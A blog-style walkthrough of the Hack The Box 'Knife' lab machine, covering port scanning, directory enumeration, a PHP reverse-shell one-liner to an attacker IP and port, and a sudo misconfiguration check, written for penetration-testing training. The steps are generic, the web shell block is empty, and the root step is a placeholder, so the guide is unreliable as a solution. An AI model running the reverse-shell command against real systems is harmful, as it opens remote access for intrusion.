Ultimate Guide to Mastering Hack The Box Knife Challenge

If you’re diving into the world of penetration testing and cybersecurity, Hack The Box (HTB) is one of the best platforms available to sharpen your skills. Among the various challenges it offers, the Knife Challenge stands out as an easy difficulty Linux machine that’s particularly suitable for beginners. In this guide, we will walk you through the process of solving the Knife Challenge, explaining the vulnerabilities involved and the steps to successfully gain root access.

Understanding the Knife Machine

The Knife machine is designed with a backdoored version of PHP, which means that the application running on it has an embedded malicious code that can be exploited by attackers. Understanding this is critical, as it forms the foundation for gaining initial access to the machine. The objective is to leverage this vulnerability to obtain a foothold on the server. Once you’ve established that access, the next step involves exploiting a sudo misconfiguration to obtain a root shell.

Setting Up Your Environment

Before you begin, ensure that you have the following tools and setup in place:

1. VPN Connection: Make sure you are connected to the Hack The Box VPN, which allows your local machine to access the HTB network and tools.

2. Kali Linux: Use Kali Linux or another penetration testing distribution that includes necessary tools like Nmap, Gobuster, and Metasploit.

3. Basic Knowledge: Familiarity with basic Linux commands, web application testing, and PHP will be beneficial while working through this challenge.

Step 1: Port Scanning

To start your journey, you need to identify open ports on the Knife machine. This is where Nmap becomes essential.

bash
nmap -sC -sV -oN knife_scan.txt <IP_ADDRESS>

Replace <IP_ADDRESS> with the actual IP of the Knife machine. The -sC flag enables default scripts, and -sV helps in service version detection. The output will give you insight into which services are running and on which ports.

Step 2: Exploring the Web Application

Once you’ve identified the application (likely running on port 80 or 443), point your browser at the URL. You may find a web application that is susceptible to vulnerabilities. Given that it’s a backdoored version of PHP, you might want to look for common vulnerabilities such as:

• Remote Code Execution (RCE)
• File Inclusion vulnerabilities (LFI/RFI)

Utilize tools like Gobuster to enumerate directories and files.

bash
gobuster dir -u http://<IP_ADDRESS> -w /usr/share/wordlists/dirb/common.txt

This command will help you discover hidden directories and files that might be vulnerable to attack.

Step 3: Gaining Foothold

Upon recognizing a vulnerable point in the application, you can exploit it using techniques relevant to the identified vulnerability. If the application allows file upload or remote code execution, you can inject a web shell.

For example, if you can upload a PHP script, you might use the following basic web shell code:

“`php

“`

This increases your foothold, allowing you to execute commands on the server.

Step 4: Establishing a Reverse Shell

After obtaining a shell, the next step is to maintain persistence while you escalate your privileges. To do this, consider establishing a reverse shell. You can create a payload that connects back to your own machine:

bash
nc -lvnp <YOUR_PORT>

Then on the Knife machine:

bash
php -r 'system("bash -i >& /dev/tcp/<YOUR_IP>/<YOUR_PORT> 0>&1");'

Make sure you replace <YOUR_IP> and <YOUR_PORT> with your actual IP and port.

Step 5: Privilege Escalation

Once you have a shell, your user privileges might be limited. To elevate your privileges, check for any misconfigured sudo privileges. Use the following command:

bash
sudo -l

If you find any binaries that are allowed to run as root without a password, you can exploit them to gain root access. Often, you will discover a misconfiguration that allows you to run a command with elevated privileges.

Step 6: Gaining a Root Shell

Finally, upon identifying the misconfiguration, execute the necessary commands to transition into a root shell.

bash
sudo /path/to/vulnerable/binary

Congratulations! You have successfully completed the Knife Challenge by gaining root access.

Conclusion

The Hack The Box Knife Challenge offers an excellent opportunity to practice penetration testing techniques in a controlled environment. By understanding the underlying vulnerabilities and systematically testing them, you can gain a foothold, elevate privileges, and ultimately achieve your goals. Remember, the key to becoming proficient in cybersecurity lies in practice, patience, and a willingness to learn from each challenge you face. Good luck mastering the Knife Challenge!